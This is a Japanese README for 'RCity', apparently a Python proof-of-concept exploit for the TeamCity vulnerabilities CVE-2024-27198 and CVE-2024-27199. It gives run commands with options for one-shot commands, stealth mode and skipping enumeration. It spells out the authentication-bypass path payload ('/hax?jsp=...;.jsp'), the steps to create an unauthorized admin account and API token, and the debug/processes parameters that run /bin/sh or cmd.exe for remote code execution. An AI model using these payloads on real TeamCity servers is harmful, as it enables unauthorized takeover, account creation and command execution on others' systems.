
CVE-2024-27198 & CVE-2024-27199 PoC - RCE, 管理者アカウント作成, ユーザー列挙, サーバー情報
CVE-2024-27198 および CVE-2024-27199 の悪用
RCity は、脆弱な TeamCity サーバーと対話する Python スクリプトです。この CVE は、ドメイン上の 403 をバイパスして、権限のない管理者アカウントの作成を可能にします。同時に、Debug/Processes ルートを介して RCE も達成します。
スクリプトを使用するには、コマンドライン引数 -t または --target で対象の TeamCity サーバーの URL を指定する必要があります:
python3 RCity.py -t http://teamcity.com:8111
出力の冗長性を -v または --verbose オプションで増やすことができます:
python3 RCity.py -t http://teamcity.com:8111 --verbose
ワンショットコマンドを -c または --command オプションで直接送信できます。インタラクティブシェルが必要な場合はこのオプションを使用しないでください。 コマンド送信後に接続が閉じるため、リバースシェルには適していません:
python3 RCity.py -t http://teamcity.com:8111 -c id
-s または --stealth オプションを使用すると、TeamCity サーバーに POST リクエストが送信されないようにすることができます。
python3 RCity.py -t http://teamcity.com:8111 -s
RCE機能を無効にします - その他はすべて同じままです
python3 RCity.py -t http://teamcity.com:8111 --no-rce
ユーザーリストの収集を防ぎます。大規模なユーザーリストでは時間がかかる可能性があります。これで直接 RCE にスキップします!
python3 RCity.py -t http://teamcity.com:8111 --no-enum



ここでは、このプロジェクトで使用される関数を説明し、このエクスプロイトと関連する脆弱性の理解を深めていただけるようにします。
脆弱性の性質は、JetBrains TeamCity サーバー内の REST API ルートに対する認証バイパスが同じ原因で発生しているため、CVE-2024-27198 と 99 の両方に関連しています。しかし、その脆弱性の影響は異なり、興味深いところです... CVE-2024-27198 は、文書化された RCE の影響から実際の大物であり、/app/rest/debug/processes エンドポイントを利用しますが、 認証トークン を使用してこのエンドポイントに必要なリクエストを行う権限がある場合に限ります。このエンドポイントへの呼び出しは Unix ホストと Windows ホストで異なりますが、同様に操作されます。唯一の違いは、リクエストで呼び出されるネイティブシェルです。
Linux - processes?exePath=/bin/sh¶ms=-c¶ms={yourRCE_HTMLEncoded}
Windows - processes?exePath=cmd.exe¶ms=/c¶ms={yourRCE_HTMLEncoded}
さて、前述のように、これは認証なしでは不可能です。安全なはずですよね?そこで認証バイパスの出番です。
TeamCity ビルドのポリシーをバイパスすることで、サーバーに対してリクエストを行い、技術的には自分のアカウントさえ必要とせずに、そこに認証トークンをドロップする機会が開かれます。
バイパス自体は、REST ルートへの代替パスを作成することです。詳細には立ち入りませんが、リクエストを処理するクラスのコンテンツを制御する必要があり、特に 302(リダイレクト)ではないリクエストを処理します。これにより、URL に 3 つの必要な部分を追加することで制御できるようになります。
302 をトリガーしない未認証のエンドポイント。この場合は /hax
API ルートをクエリするための jsp という名前の URL クエリパラメータ。例として、users パス ?jsp=/app/rest/users
.jsp で終わる任意の URI パス。これは HTTP パスパラメータセグメント ;.jsp を追加することで実現できます。
つまり、users エンドポイントに不正なリクエストを行うための最終的なペイロードは次のとおりです: /hax?jsp=/app/rest/users;.jsp
これで、users エンドポイントに対してリクエストを行い、管理者を含む独自のユーザーを追加できます!
ただし、RCE に進む前に、REST API に対する RCE リクエストのベアラーとして認証トークンが必要です。バイパスができたので問題ありません。トークンを作成しましょう!
トークンエンドポイントは前の例と同じパスツリーに従っており、/app/rest/users/id:{user_id}/tokens/{token_name} にあります。では、認証をバイパスしてトークンを作成する別のペイロードを作成しましょう!
(これには独自のトークン名を指定します。このスクリプトでは、英数字の ASCII 文字によるランダム生成です。)
/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp
新しく作成したユーザーにトークンを追加する POST リクエストを行った後、/app/rest/debug/processes ルートに対してリクエストを開始できます!
RCE ペイロードの作成については特別なことはありません。params 引数でペイロードを HTML エンコードするだけです!
ハッピーハッキング!
https://nvd.nist.gov/vuln/detail/CVE-2024-27198
https://github.com/W01fh4cker/CVE-2024-27198-RCE
このスクリプトは教育目的のみです。責任を持って使用し、アクセス許可のあるシステムのみで使用してください。